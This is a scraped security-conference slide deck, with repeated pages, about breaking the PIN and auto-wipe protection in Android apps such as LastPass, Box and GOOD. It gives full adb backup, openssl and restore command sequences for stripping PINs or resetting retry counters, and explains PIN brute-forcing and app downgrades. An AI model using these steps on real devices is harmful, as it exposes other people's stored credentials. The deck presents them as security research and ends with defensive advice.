Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 57: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 58: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

